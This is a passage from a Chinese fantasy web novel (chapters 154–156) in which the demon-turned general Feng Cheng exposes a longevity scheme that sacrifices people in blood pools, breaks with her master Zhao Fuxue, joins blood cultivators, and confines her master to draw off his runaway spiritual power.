封澄想到了什么,猛地抬起了头,瞳孔剧烈颤抖;“你说什么?” “月”脱去了最后一件衣衫。 “很奇怪么?”他疯魔一般,絮絮叨叨地微笑,“登峰造极的凡人,想要长生,很奇怪么?你不要露出这副好像天塌了的表情,养血池的人多了去,可都输了……你知道为什么我能成么?” 他叹了口气,将封澄心上最后一块石头沉沉地落下:“因为有人,世世代代,都想长生,不计代价地长生。” 封澄的脸一刹那有些空白。 月怜悯地看着她,将她的脸扳过,居高临下道。 “咱们也是替皇帝试过药的人了,死了这么多人,遭了这么多代的罪,终于成了……只可惜,如此伟业在前,姑娘却是药渣。” 说罢,他手一松,轻飘飘地把人丢了进去。 血水将她死不瞑目的脸全部吞吃,月欣赏了片刻,转身跃进了血池。 *** 子夜粘稠,间或有一两声枭鸟啼叫,一惊,呼啦啦地便掠走了。 数场大胜,将持劫手下几位渐起锋芒的大将杀了个片甲不留,天机主将摇摇欲坠的位置便由这几场大胜稳稳地坐住了,其诡胜奇兵之名更是从长煌渐渐向南传来。 与此同时,另有流言四起。 有人道,虽然天机铁骑战无不胜,可天机主将一介女子,且如此年轻,拔升如此之快,绝无可能做出此番战绩,其中大胜,定有蹊跷,绝对是其主将与天魔勾结一气,演给世人瞧的。 这传言不知从何而起,有鼻子有眼,甚至连封将军实是魔物,乃身长九尺、头生双角的怪物这一说法,都传了出来。 “年纪轻轻,便战功赫赫,难报不野心勃勃。”众人言之凿凿,“就算不是假的,也难保她不生异心——此人可是天机之首的亲徒,若要造反,怕不是整个天机一起反扑,谁能阻拦?” 起初世人只觉荒谬。 直到封澄当着众人一把火烧了圣上亲赐的宝剑与加封圣旨,懒洋洋地踹了来使的脸,叫人饱尝了一顿丰饶的牛粪。 举世哗然,不臣之名,昭然若揭。 流言喧嚣,渐动人心,正于此时,天机军吃了一场大败,缘由自然而然是要归结到那位日益不成。人形的主将身上的,天机铁令,请封澄回京,出乎众人意料,封澄竟乖乖受命,回京述职。 在外征战经年,回京次数屈指可数,封澄懒懒地歪在马车的榻上,连掀开帘子瞧一瞧的心思都没了。 半年前,寸金一行找到她时,她躺在血池中,混沌不堪,再度醒来,她亦是茫然,连为什么要去血池都忘了。 孙小荷道,人的头脑会遗忘格外痛苦的记忆。 封澄低头,玩弄着马车上晶莹剔透的小茶壶,一个不防,指尖蹿出一层薄甲,仿佛扎豆腐似的,将那金属茶壶刺了个通透,她深吸一口气,将茶壶从车窗里丢出去,转身将自己放倒在了榻上。 “我没忘。”她想。 她记得那只“月”,记得他口中所说的一切,记得血池中溶解血肉、又重新一片片地拼回来的痛楚。 记得从人长成魔的彻骨疼痛。 唯有一点,她为什么要去血池?掌心的阵盘属于谁? 她一无所知。 思及此处,封澄心底便止不住地烦躁,从人变成魔后,她虽有理智,却是令人提心吊胆的理智,就连她自己也会觉得可怖与陌生。 “……” “你经脉俱碎,无缘仙途,所以投入血池。”孙小荷凉凉道,“因祸得福,你成魔了,还需要我再替你回忆一些么。” 似乎是她能做出来的选择,封澄这么想着,便将此事越过去了。 马车停了,有人小心翼翼地替她掀开帘子,连头也不敢抬道:“封将军,到了。” 封澄抬头一看,不免皱了眉:“这是哪里?” 她以为马车会停在天机院或是赵府门前,可这马车竟停在另一座陌生的府邸前。 这府修得格外华贵,连门口的两只石狮子都比旁人家的威风些,砖瓦都是簇新的,在日头下大更显森严,驾车的侍从猛地一激灵,扑通一声跪下,口中忙不迭道:“这是大人的府邸 啊!皇上与皇后娘娘特命人给将军修的,今夜宫宴之后,还有几位大人要宴请将军呢。” 她这才看见,高大府门上悬着一只匾,上书五字:镇北将军府。 见状,封澄嗤笑一声,从马车上一跃而下,拍拍衣袖,便径自走了进去,见她径自走进,侍从刚松一口气,却听她回过头来,冷冷道:“你觉得我很吓人么?” 他一身冷汗腾地就出来了,忙不迭地磕头:“小的不敢,小的不敢!” 而凶名赫赫的镇北将军见了他这番模样,好似感觉很无聊似的,头也不回地离去了。 确认彻底听不到封澄的脚步声时,他才隐隐地松了一口气。 “这将军的性情,”他心道,“果然如同传闻般古怪。” 怕不是真与天魔扯上了关系,侍从这么听着,忙不迭地跑了。 一场宫宴乏味至极,此时既没有了替她梳妆的姜徵,也没了见到赵负雪的期盼与忐忑,虽说身后梳妆的侍从只多不少,手法更精妙,衣饰更华贵,封澄却也没了当初的心思。 待见到宫宴上的姜徵,封澄的心中才略好受些。 她看起来并不憔悴,清瘦了些,眼中却有了当年也少见的坚意,算是这场满是吹捧与试探的宫宴上最令人高兴的地方了。 散了宴会,姜徵遣散宫人,悄悄地留了她片刻。 二人默契非常地不提姜徵嫁入宫中之事。 “……这次回京,诸多凶险,迟太师非好相与之人,你万万当心。” 随意说了几句,姜徵便突然开了口。 封澄了然,宫宴之中,傻皇帝对迟太师的亲近是有眼之人皆能看出的,只是她看着姜徵这副珠光宝气的打扮就心中发堵,强作欢颜地点了点头,姜徵觉得不对,多看了她一眼:“你瞧着不对。” 封澄顿住,片刻,若无其事道:“最近身体不好。” 姜徵怔了怔,道:“还是不眠之症么?” 不眠是她少年时便有的病症了,封澄闻言,也点了点头,姜徵想了想,熟稔地吩咐人下去,片刻,便有人捧着一锦盒乱七八糟的东西跟在了封澄后面。 “这些你拿去,都是助眠之物,进宫就这些好,富有天下,什么宝贝都找得到。”她半开玩笑,忽地便有人来向她附耳说了些什么,姜徵脸色微变,回头看了封澄一眼,封澄心中了然,挥挥手道;“我留京日子还长,日后有的见。” 闻言,姜徵也不客气,起了身,正要离开,忽回头道:“说来奇怪,你今日怎么不急着去找你师尊了?” 封澄略微垂了垂眼睛,悄悄地抿住骤然增长的獠牙。 成魔时日不长,灵气与魔气皆在她体内横冲直撞,再加上时不时露出的马脚,骗得过别人容易,骗过赵负雪却难。 “等他歇息了,我去瞧他一眼。”封澄道,“匆忙赶路,一身风尘,不扰他清修。” 第154章 第154章无辜 虽说是要去,但封澄并没有立即得到去见赵负雪的机会。 宫中大宴之后,尚有小宴要去。 洛京东市,乃是此城闻名于世的销金窟,而其中以盛宴闻名的东华楼,则是此世金银浮尘之中最为浓墨重彩的一笔。 今夜,此楼被包下了整夜的场。 众人衣冠楚楚,觥筹交错,言笑晏晏之时,目光却不自觉地偏向了紧闭着的堂门。 他们心底隐隐忐忑着——那位年轻的大人,会不会来呢? 上首的国师倒是气定神闲,他微笑道:“众卿不专心用饭,怎么频频看向门外?” 经此一言,下面众人吓了一跳,连忙收回心来,该忙什么忙什么去了。 一室喧闹的软红尘中,歌舞渐起,台下众人的视线被歌舞吸引,慢慢地专心起来。 正在此时,一道凛冽的寒风陡然刮开了紧闭的堂门,砰地一声吹散了屋中沉沉的暖气,这道新鲜的寒气仿佛一柄钢刀似的,霎时将众人的注意扎了回来,只见漆黑子夜里,一人不紧不慢地收回了脚。 她含笑道:“来晚了,见谅啊。” 女子单手打着一柄伞,外面应当是下了大雪,盖得她猩红纸伞上一片雪白,封澄穿得也格外不同,旁人即便不着宫宴华服,至少也是穿着礼服的,可她只穿了一身猩红劲装,只以一条与腰带同色的漆黑发带束了长发,一张脸不着粉黛,愈发显得两只眼睛如黑水银似的。 这便是近来风头无限的镇北将军了,众人不约而同地想。 迟太师微笑着向她抬了抬手:“请上座。” 封澄挪都没挪,眉间戾气横生,冷冷道:“我来说几句话就走。” 堂中鸦雀无声。 她冷冷道:“诸位手中有血池的,立即停手,否则等我一个一个地剿过去,此事绝不能善了。” 刹那间,堂中大哗,有迷茫道:“血池是什么?”也有骤然心虚不敢抬头的,但更多的,则是拍案而起大骂:“你凭什么管!”之人。 一片嘈杂里,唯有封澄与迟太师,一人站于茫茫夜色前,一人坐于堂下众生上,封澄平静地抬起眼睛,目光透过他的鎏金面具,触碰到他的眼睛。 然后,封澄心中便隐隐觉察异样——他在笑。 迟太师笑着拍了拍手:“将军,做出这副泾渭分明的样子来谈生意可不行。” 封澄道:“谁和你谈生意。” 迟太师道:“既不是谈生意,那便没得谈了。各人有各人的活路,即便是将军乃神仙降世,也没有扰了旁人生计的道理。” 封澄冷笑不止:“你说的生意,就是把一群一群的活人投在血池里头,叫好端端的人怨气纠成一团、永不超生?” 闻言,一人坐不住了,拍案骂道:“我等泡血池,只用些许灵兽与药材,何时用了活人!” 更有人煽风点火道:“我等岂能任你这番栽赃?定要一纸诉状送上前去,叫圣上断个清白才是!” 封澄嗤笑:“用灵兽?你是觉得我傻,连灵兽与活 人的骨头都分不出来么?” 当即便有人道:“口说无凭!且这有你什么事!血池延年益寿,修士不必钻研此道,你又何必插手!” 再说下去简直没完没了,封澄没耐心与这几人死缠,冷冷转身,道:“话已送到,我再不相陪了。” 突然间,身后有一道声音,轻轻地唤住了她。 “封将军,”他微笑,“修士,也很喜欢血池,为什么你不喜欢。” 毕竟断肢重生、返老还童的机遇,可不是每个修士都有。 在场众人有修士,亦有凡人,闻言,同仇敌忾地看向了她,仿佛视这只异类为仇一般,封澄的脚步在门口顿了顿,她冷笑一声,转身离去了。 绝途之上,并无同类。 赋闲在京的日子过得流水一般自在,封澄这些时候也总不敢在赵负雪面前晃,只趁着夜深无人的时候,悄悄地摸到赵府门前,再小心翼翼地落到他的屋顶上。 血池的记忆混沌而不清,而痛觉却弥留在她的身上,历久弥新,令她彻底无从入眠。 此心安处,只有一片并不舒适的屋顶。 封澄躺在赵负雪的屋顶上,翘着二郎腿,黎明将近时,离开了赵府。 屋中传来轮椅的辘辘声。 片刻,屋中烛火一明,赵负雪一身素净白衣,静静地看着她远去。 最近边关并无战事,原本四处兴风作浪的持劫不知为何老实了许多,封澄在京城,一日也未曾闲着,不过短短一月,便同天机所混成一片,搅得洛京人人自危,生怕封澄当真践诺,将事情闹得无可收拾。 封澄越查,越是沉默以对。终于一日,更夫在某一大员的宅邸前见到了挂在门廊上的,一连串的头颅。 天下大哗。 重压之下,即便姜徵也不得不将人召进宫中,她一见封澄,便忍不住道:“阿澄,你样子不太对了。” 凤座之旁设了一软椅,身着玄色的少年将军沉默地捏着茶杯,她实在是与当年差别太大了,面无表情,神色阴鸷而苍白,连带着当年一笑便堆起的两团婴儿肥都消失得无影无踪。 姜徵忍不住地想,长煌风沙,真能将一人变成如此天翻地覆模样么? 还是说,将人变得天翻地覆的,并不是那些杀不尽的天魔。 封澄垂下了眼睛,道:“他该死。” 那人的手指是与那四个同胞兄弟如出一辙的模样。 如此没头没脑的一句,姜徵偏了偏。 封澄道:“我有时在想,人世间为什么有长生与短寿,为什么有人有魔,为什么善恶不报。” 姜徵知道,此时只能沉默。 她自顾自地抛了抛茶杯,眉宇间似乎有一瞬浓得化不开的阴鸷。 “烂透了,”她道,“全都清洗一遍,才像个人样。” 敏锐的直觉令姜徵觉得此时不说些什么,封澄是要做出什么不可挽回的事情了,方张了张嘴,便有人惊慌无比地进来禀报:“不好了封将军,尊者旧伤发作,出事了!” 刹那间,封澄把玩的茶杯重重地落在了地上,姜徵终于在她脸上看到了这几日里少见的人样,封澄顾不及其它了,立即纵身而出,一路不停地落到了赵府门前。 赵年在门口等候,不知为何,看向封澄时,眼中有几分异样的味道,封澄无暇顾及,转身便急切道:“我师尊呢?他好端端的,怎么又出事了!” 闻言,赵年不动声色地皱了皱眉,片刻,冷冷道:“封将军近日风光得很,回京许久,未曾前来问候一句,一来,便是兴师问罪了。” 她一见到这封澄,脑仁里便止不住地疼,一边深恨她四处惹事,一边痛惜她天赋卓绝,见封澄怔在原地,她也不作他言了,道:“人已进了禁地,你若果真挂心他,不如在惹出滔天事端时,稍微念及些尊者的清誉——教养出一个当街行凶的徒弟,难道尊者脸上光彩吗?” 闻言,封澄骤然怔在了原地。 赵年对这丫头恨铁不成钢,冷哼一声,拂袖而去。偏生说者无意,听者有心,封澄怔怔地站在原地,忽然心头便升起了一个念头。 她隐隐要走的这条路,会把赵负雪的安生日子全数搅散了,也说不定。 赵年冷道;“今日尊者不见客,待尊者醒后,再请将军来罢。” 封澄沉默片刻,转身离去了。 漫无目的,四处游荡,洛京之大,凡是认出她脸皮的人,皆是避如蛇蝎,看向封澄的目光极为惊惧恐怖——这时她应当被收入天牢审查才是,怎么会突然出现在街头! 封澄掀起兜帽盖住了脸——洛京之大,终于没有一个能容得下身的地方了。 这放在几年前,是她想也不会想的。 几番游荡,封澄竟晃到了那挂着人头的府前,此宅已成了众所周知的凶宅,连带着邻居都搬得远远的。封澄一人孤身站在宅前,目光怔怔地看着地上的血迹。 血迹有些干涸了,像一团猩红的锈。 正在她怔怔之时,忽然掌心一温,封澄愕然地低下了头,目光与小小的孩子正正对上。 “……是与父母走散了吗,”封澄想,“脏成这个样子了。” 他好像鼓起了勇气,才抬起头,望着封澄兜帽下的眼睛,认真道:“我知道,你是好人……他带走了很多人,嬷嬷说,不会回来了。” 颠三倒四,封澄却骤然一抖,蹲下身,从中察觉到什么:“你说他带走过很多人?” 小孩认真地点了点头。 “很多孩子,昨天,还,带走了两个。” 生怕她不信似的,小孩子指了指身后,巷子里鬼头鬼脑地探出了几个脏兮兮的孩子。 “我们,本,本来,也在里面。” 大员死后,府内乱成一团,他们借机逃出。 刹那间,封澄的手脚一片冰凉,恰有此时,同僚吊唁的车马走来,对着他的府门一顿大哭,哭声入耳,扎得封澄脑子嗡鸣,几个小孩子仿佛惊弓之鸟,飞也似地逃走了。 不能再等了,她魔怔一般地看着那几个孩子踉跄的背影,等时机成熟,枉死在血池中的人只会更多。 犹豫一日,血池便更大一分,无辜孩子,独行修士,都有可能被拉去填这口瞧不见尽头的长生之途。 既然如此,那绝途之路,便由她一个人来断。 第155章 第155章有救了 彭山之巅,朔风凛冽。 短短几日,封澄便憔悴得有些脱相了,她冷冷道:“没曾想师尊重伤至此,竟然还能追过来。” 赵负雪看着她,一句话也说不出来,心中只想:“瘦了很多。” 而悬崖之上的封澄甚至没敢回头看赵负雪一眼,她背对着他,漆黑的长发束了个马尾,在朔风里招摇。 若说洛京之中最为臭名昭著的污秽之处,那众人皆知,名为彭山。 原因无他,彭山之地,名义上虽为举世瞩目的铸剑之处,实则还有另一名号。 这是所有血修的投名之处。 血修心法,并无其他,只是入彭山,由山下凛冽罡风除去一身仙脉,进而堕入彭山之渊,从此成为不见天日的血修。 并非没有天机师意图清剿此地,无奈这山下罡风仿佛天防,除了血修,旁人无计通行。 人已经到了彭山的山巅上,可封澄叹了口气,竟然原地坐下了。 赵负雪冷冷道;“跟我回去。” 封澄不语,只是目光落在了不见天日的彭山之下,将出未出的日光照得她面上若隐若现的鳞甲熠熠生辉。 体内的灵气在渐渐地消退了,她从前荒谬地妄想,有朝一日,她定然能彻底控制住身体,彻底压制住魔气。 可人形天魔本就能够吞噬灵力。 时日渐久,她甚至连人形都要维持不住了。 她心想:“我回不去了。” 除非另寻一条歧路。 而赵负雪就该端坐云上,干干净净,不受她将至的泥尘与血水。 封澄闭了闭眼睛:“剑修正道,我已走得腻味透顶,所谓灵脉修为,虽是累赘,却也多蒙师尊费心,入了彭山,想来数年修行也随之而去了,就算在此处还了这几年师徒恩义。” “日后封澄所做之事,与赵负雪再无瓜葛。” 刹那间,赵负雪惊觉封澄将做之事,脸色陡然一变,可终究晚了一步,长生被她夹在指尖,一声脆响! 轻薄的剑身零零散散地碎了一地。 封澄不看他,她站起身来,意意思思地挥了挥手,便转身,打算一跃而下,陡然间,却有一道灵流猛地捆住了她的双足,凝上了一层坚不可摧的霜。 她愕然低下了头。 赵负雪平静道:“这并不是你一人自作主张之事,我说了,回去。” 被束缚的感觉令封澄从心底生了一份惊惶,她也顾不上赵负雪能不能觉察她身上魔气了,一震便震碎了足上束缚,口不择言道:“都到了如此地步,你上赶着来做什么!我说不认你了!” 回答她的是赵负雪森冷的寒意。 封澄的剑 是赵负雪一手教来的,平素自然也少不过师徒二人的对练,可赵负雪从来点到为止,连点寒气都未叫封澄尝过,直到此时此刻,正面与赵负雪对上,封澄才隐隐惊觉,所谓天下第一剑修,绝非浪得虚名。 即便重伤,剑剑亦是不可阻挡之势,封澄赤手空拳,剑早已断掉,此时借以傍身的,只有仓促间抓下来的木棍。 封澄被逼得恼怒,牙一咬,也认真起来,谁料赵负雪重伤,灵力迟滞,她还手一击,便将人手中的长剑格住。 她盯着赵负雪的双手,鬼使神差间,望见了他的双眼。 他的双目中燃着几乎能称之为愤怒的神色。 赵负雪这样冷清的人,也会为人动气,为人愤怒吗?封澄想。 赵负雪冷道:“歧途易入难出,血修逆天而行,绝无善终。” 封澄倍觉荒谬:“哈?您老觉得我不知道?” 铿然一剑,封澄将衣袖一甩,随即往外一送,她道:“是非对错若有那般界限分明,这世道还要师尊做什么?还要我做什么?” 赵负雪闻言,顿了顿,封澄自觉失言,偏过头去,道:“总之你别管了,我要走我的路,与你一点儿关系也没有。” 说罢,封澄将手一挥,紧接着,赵负雪猛地变了脸色——锁灵香! 封澄头也不回道:“剂量微小,一息之瞬,想必赵家也不会叫师尊孤身出行。” 这种香料,只有边关的几个寨子有存,些微都是不世之珍——封澄怎么会弄到这种东西? 她头也不回,念咒将人缚住,转过身,一跃而下。 *** 刘润看着摆在眼前的奏折,勃然大怒,甩袖将东西呼啦啦地掼了出去;“这群血修嚣张至此,简直大了狗胆,无法无天!” 霎时间,殿中霎时跪倒了一片,被奏疏砸了脑袋的大臣头也不敢抬,小心翼翼道:“回皇上,实乃事情有变。” 姜徵不动声色地看向了那大臣。 大臣擦了嚓冷汗,小声道:“从前血修虽是作乱,可并不成规模,几条杂鱼,杀了便是。可前些日子……” 刘润余怒未消地看了他一眼。 “……有一血修横空出世,将四面血修收服于彭山,如今,已渐成规格了。” 血修的等级意识如同野兽般强烈,从前彼此不服,四处争斗。刘润怔怔道:“那,天机所无可奈何么?尊者拿他们没办法么?” 大臣无奈地叹了口气:“尊者前些时候闭关,京中天机师,能与之相抗者寥寥无几。” 刘润一拍龙案站起来:“调人!调人!旁处天机师是吃干饭的?边关的仗也别打了!叫天机铁骑来剿匪——封澄呢?叫她去带人!!” 此言一出,四下死寂,刘润察觉不对,皱眉道:“怎么?” 大臣头也不敢抬,小声道:“……皇,皇上,反叛血修,正,正是封澄。” 咚地一声,刘润愣愣地摔在了龙椅上。 他好像梦游一样,不可置信地喃喃:“……反叛?她?她,朕不过是命她留京几日,连军职都未削,她,她怎么就敢反了?” 大臣不敢吱声,有一人却愤愤不平道:“她早就不安分!仗着杀了几个破天魔,趾高气扬,谁也不放在眼里。皇上,依臣之言,就不计代价,把人抓来杀之示众!京城这么多天机师,难道还怕一个彭山吗!” 姜徵看着他,认出此人面目,挑了挑眉,道:“胡郎中,彭山凶险非同寻常,不计代价四字说来轻巧,实则做起,血雨腥风。” 闻言,胡扶斗当即哑了。偏偏此时有一人笑道:“我倒有一法,不费一兵一卒,便可替皇上除了此心头大患。” 众人的目光齐齐看过去,只见迟太师覆着半张面具,眼中含笑。 “哦?”刘润眼睛一亮,“是什么法?” 迟太师微微一笑。 “招安。” 闻言,崔见义猛道:“不可!这等邪魔歪道,自甘堕落,岂能再招进来为祸朝廷!” 刘润也是皱了眉,迟太师却不紧不慢道:“依你之见,是要京中天机师舍着一条命,去杀到彭山之下,要封澄那条命么?” 一片寂静,迟太师道:“论起统兵运筹,朝中难道有人可与其一战?长煌天魔凶险无比,此人尚能奇兵诡胜,此时手下血修只会比天机铁骑更要命、更凶残。还有彭山这道天险作屏障,更不要说若是实打实地打起来,身为天机之首的赵家,是会赶去送命,还是袒护自小养大的亲徒?” 顿了顿,他又若无其事地看向了姜徵,补充了一句。 “四大天机世家,便有两家与逆贼亲厚非凡,剩余崔家楚家……哈。” 这一哈,千言万语都在其中了,世人皆知,崔楚两家并不以天机为业,一家求财,一家重教,真论起行军打仗,怕是连天机军的尾巴都不及。 满堂寂静中,刘润面色凝重,片刻,迟疑道:“照迟太师所言,招安,似乎是唯一之举。” 迟太师微笑:“招安血修,世人只会道皇上用人不拘一格,天下英才自然纷至沓来,再言,人来了朝廷,是死是活,难道不是皇上一句话的事?况且,此等将才,难道就这么弃之不用了?” 最后那句半恭维半吹捧的话极度满足了刘润的帝王尊严,他大手一挥,意气风发道:“好,那就依爱卿所言,来一个不拘一格!来人,备纸笔!” 子夜,冷月当空。 赵负雪孤身站在长街上,夜风萧萧,吹得空气中的血腥味极为清晰。 哒,哒,哒。 月色与血色粘稠得难舍难分,一人闲庭信步,仿佛在自家庭院中散步一样,悠悠地从漆黑一片的森严府邸中走了出来。 女子的身量单薄纤长,一身黑衣,犹如一片瘦削的鬼影。手上不知是棍还是枪,血气森森地垂在身后,在石板地上拖出了一条清晰的血痕。 身后的血修犹如嗜血的蝙蝠般,带着战利品哗啦啦地飞去了,她正要离去,去路却被一人正正拦住。 她愕然抬起头来。 男子披着如雪月色,一身白衣,冷冷地看着她,封澄心中猛地一突,下意识地便遮掩住了脸,正待快步离去,却听身后淡淡道;“封澄。” 声音确凿,毋庸置疑。 封澄顿住了脚步。 赵负雪垂眸,闪电似的出手道:“跟我回去。” 闻言,封澄下意识地摸了摸腰间——出来匆忙,没带锁灵香。 于是她深吸一口气,勾起面皮,笑吟吟道:“尊者这是什么意思?总不至于大庭广众,强抢民女。” 虽这么说着,封澄动手却毫不留情,见素对上血枪,发出铿然一响,封澄手一顿,生怕下手没轻没重,故反手收了血枪,转而成鞭,反手圈住了赵负雪的见素。 赵负雪道:“既已进了彭山,为何还应下了朝廷的招安?你可知多少人想要你的命!” 月色凛冽,二人一来一往之间,闪电似的过招无数,封澄为血修初生,且为天魔之体,本就灵力 充沛不似常人,全力相抗下,竟将赵负雪隐隐逼退几步。 封澄道:“想要我的命?我的命就放在这里,等他们来拿。且让他们来试试,只怕还未等到我面前,便被吓尿了裤子!” 一记灵力,赵负雪震出几步,他看着封澄滴着血的衣摆,皱了眉。 “你不该与血修厮混,”赵负雪道,“他们并无忠诚可言。” 封澄好像听见了什么天大的笑话一样。 “一把刀,只要够快,你管他是捅人还是捅自己呢?”封澄笑吟吟道,“我只知道带着他们,我能轻易地去做从前无能为力之事,至于结果如何,并不要紧。” 封澄只觉愤恨。 陈还无望的求助,数代绵延的血池,以及长煌拼死的战士,无一不是她经久的噩梦。 而与此同时,便有人浸在不见天日的醉生梦死里,嘬饮着无数人的血肉。 她一想到那字字泣血的求救信,心里便针扎似的疼,滔天的歉与愧几乎将她整个地吞没。 陡然间,她想到了什么,再看着赵负雪,眼中陡然划过了一线微不可见的异彩。 是了,那血池阴差阳错,还给了她一个天大的好处。 赵负雪暴乱的灵流,有救了。 第156章 第156章叹了口气 镇北将军府又住进去人了。 这宅里的人被封澄挨个摘出去一遍,剩下的,皆由近日才从长煌赶来的秦楚动手,找来几个知根知底的哑仆。 仆从不多,也够锦衣玉食地侍奉一个少爷。 秦楚送走了一批上赶着讨好的人,心累道:“金银财货还好说,人怎么办?塞进后院?” 眼前是一群瑟瑟发抖却强装镇定的美人,只是不知为何,看着尤为眼熟,封澄忍不住多看了几眼,不由得纳闷:“这群人怎么都一个调调?” 皆是轻薄白衣,皆是一副故作矫情的清冷模样,瞧着都有几分夺目的瑰色,甚至连身量也差不多。 秦楚叹了口气:“这还要问将军了,怎么回京这么短时间,便把事情搅得如此天翻地覆。” 好事不出门,坏事传千里,即便是长煌大原那等穷乡僻壤,说起洛京的满城风雨也是头头是道,天机铁骑只吓了一跳,几番商议,熟悉洛京的秦楚自告奋勇跑了过来,顺理成章地与官复原职的封澄碰头,只一见封澄,对那些传言登时信了八分。 好好一个鲜艳明媚的小姑娘,都快要阴沉成活鬼了。 顿了顿,封澄垂下了眼睛,秦楚翻了个白眼,道:“你即便是再胡闹,也不能将……将他掳到窝里来,即便现在不是,至少他从前是你师尊!你真是……太胡闹了!” 当年师徒在城墙上守岁,她虽是站得远,却也看得清楚。师慈徒乖,俨然不是眼下这番颠三倒四的样子。 而封澄也有些懊恼。 她的确把赵负雪打包带回府了,却并不是外界所猜测的缘由。 什么欺师灭祖、欺君罔上、目无法度、不顾伦理,条条框框的屎盆子统统往封澄头上砸,封澄眼下只庆幸一点——她名声已经够臭了,干什么都理所当然,于是百无禁忌。 唯有赵负雪的态度,她琢磨不明。 虽说那日来堵她,赵负雪是孤身而来的,可被带到将军府这么久,赵府不该是一点儿动静都没有,至少不至于安静到世人以为她有本事叫赵府彻底忍下掳走家主这等奇耻大辱。 “我也没把人关到碰上去,”她辩解道,“怎么能叫掳到窝里。” 秦楚打断她,她耸了耸肩,指着眼前这群人道:“我不管你带到哪里,小的不替你打发脏男人,要么你把人安置好,要么就收去后院,同里面那位作伴。” 听闻此言,为首那男子忙不迭上前,祈求地攥住了她的衣摆,道:“大人,你不认得我了吗!我并不是那些花柳巷里的肮脏物” 封澄觉得秦楚所说的脏大概不是这个意思,她大概真是单纯觉得脏。 可她绝无可能留这样一群不明底细的人在府中,更不会叫这群人去赵负雪身边伺候,一旁几人叫封澄挑着毛病,齐齐送去了外边打工去了,众人如蒙大赦,恨不得离她远远的,唯有眼下这个自诩熟人的,千万般打发都不肯走,封澄实在想不起在何处见到过这人,于是无奈道:“你哪位。” 他做出一副泫然欲泣的模样:“当年宫宴,是将军救了我一命,叫我免受千刀万剐之罚。” 这么一说,还真有这个人,他接着道:“我并不信外界传闻,将军当年连我这命如草芥之人都出手相救,又岂是他们所说的屠门灭户之凶徒?” 原来如此,想了想,封澄懒洋洋地往栏上一倚,道:“既然如此,给我看看诚意。” 为首那人一怔。 封澄漫不经心道:“伺候人,就该有伺候人的诚意,脱。” 那人微怔:“将军……” 他在家中,听闻家主似乎要挑选年轻男子送予那年轻将军,心中早就砰砰乱跳。 封将军侠义又和善,本事又通天,又不是那等磋磨人的老爷,又不是那等难伺候的娘娘。 且…… 说句他不配讲的——小将军年轻聪明又长得好看,明明那么有本事,却没有半分看不起人的样子,若是走寻常路来进她后院,兴许轮上几辈子都轮不到他。 上天垂怜,家主选中了他。 美梦成真了。 可此时此刻,春寒料峭,他是凡人,灵力单薄。耳中听着封澄所言,身上穿着那一身白衣,却跪在寒风中,冻得瑟瑟发抖,不知是身上抖,还是心里抖。 门还敞着,还有行人车马从门口过——就在这里脱? 他傻傻地看着封澄,眼中似乎有什么东西骤然崩塌了。 封澄嗤笑一声:“滚吧,随便塞去哪干活,这种呆子,少放这儿碍眼。” 秦楚果断把已经傻了的人丢了出去,回过头来,冲封澄比了个手指。 “将军,”她大赞,“比杀人更狠,你这叫诛心,瞧见那人的表情了么。” 封澄哪有闲心看一个生人的表情,只心不在焉地摆了摆手,道:“叫人把外面看好了,谁也不准进来,我去一趟后院。” 秦楚似乎很想翻个白眼,良久,还是叹了口气,道:“好。” 将军府的后院并不大,似乎置办这座府邸的人便没想着做多大的后院似的,封澄打眼一瞧,竟只有一座大房,连一个旁屋都没有,反倒是花园书房等物一应俱全,封澄只觉得姜徵弄出这屋子来简直见了鬼,沉默良久,脚步停在了屋门前。 门内很安静。 封澄忐忑地敲了敲房门,挂出一副端然正色的模样。 “……我进来了。” 门未锁,一推而开,她偷偷地瞧了一眼房顶——所幸也没有人挂在上面,她走向内房,屋中浅淡的暖香气熏得人昏昏欲睡,而屋中的人,只平静地坐在了窗前。 封澄站在赵负雪身后,不知道自己是摆出一副什么模样来,才能叫囚禁这个行为显得更合理一点。 还是赵负雪先开了口:“坐。” 封澄忐忑不安地坐下,目光瞄到了他手腕处扣着的穷道锁,沉默半晌,道:“我不会害你。” 穷道锁并非传闻中无往不利,相反而言,它抑制的灵力有限,只是寻常修士难以望其项背,故世传有误,越传越离谱。 顿了顿,她又小心翼翼地补充:“……信我吗?” 赵负雪蒙着双目,微微偏了偏头。 头脑一热把人捆回来的是她,阴鸷凶残可止夜啼的也是她,可坐在灵力尽失的赵负雪面前,她身上竟然出现了几分堪称青涩的拘谨。 锁灵香就那么一点儿,用完了,情急之下,她倒是想起来这个早年的灵器了。 她深吸一口气,也不顾其它了,掌心小心翼翼地贴在了赵负雪的身后。 衣衫单薄,掌心的温度压着他后背的皮肉。 赵负雪瞧着是个清清淡淡的仙人,该有的却是一点儿也不少,只一触上去,与她身上格格不入的坚硬触感便烫了封澄的手心。 她脸色有些异样,只庆幸赵负雪此时应当是看不到的,随即伸出手去,凭着天魔本能,认真地寻觅赵负雪身上肆意横生的灵力。 掌心有凉意透来,她唔了一声,心道:“这就是他身上作乱的灵力了罢?” 赵负雪似乎又偏过头,有些意外地看着她,手感极佳的发尾扫到了封澄的手臂上。 封澄无暇顾及,半炷香后,松开了手。 溢出的灵力已然被她尽数吞吃,她越过他,小心将穷道锁拨开了些,随即重新抽取他体中的灵力。 越抽,封澄越是心惊胆战——他经脉破败的程度已经远远地超过了她的想象。 怎么会这样?封澄想,他身上不是有那所谓剑骨吗?那东西也定不住他身上灵力吗? 沉默片刻,封澄道:“我要拿 走你的灵力。” 赵负雪一言不发。 封澄也知道这话冒失得无法无天,可是着实无法——这些灵力在赵负雪体中,犹如随时就能引爆的雪灾,一朝不慎,他一定会受此反噬。 “……我会保护你的。”她心中暗暗发誓,又悄悄补充了一句,“在我有生之年。” 将人的灵力抽之一空,是个体力活,待一切完工,天色已晚,封澄确认留存于赵负雪体中的灵力不足以撑开经脉爆出,便起了身,下榻穿鞋。 灵力太冲,把她砸出了魔态,幸好赵负雪看不到。 似乎是察觉到人要走,赵负雪终于抬起了头,说了自封澄进屋的第一句话。 “去哪。” 在他终于以为封澄一疯到底、谁也拉不回来时,她却做了令他意想不到的事情。 把人关在深宅,抽干灵力,锁得严严实实,赵负雪觉得这些举动,封澄做来并不意外,也算情理之中。 唯有一点,他想不通。 她怎么可以什么都不做? 封澄有些傻了,回头道:“啊?” 赵负雪微微攥了攥手指,手指在宽大袍袖下蜷缩。 他淡淡道:“夜已深了。” 封澄这才反应过来,心中有些动容——赵负雪担心她走夜路。 师徒情谊哪怕碎到了如此地步,赵负雪还像她少年时那般,担忧她走夜路么? 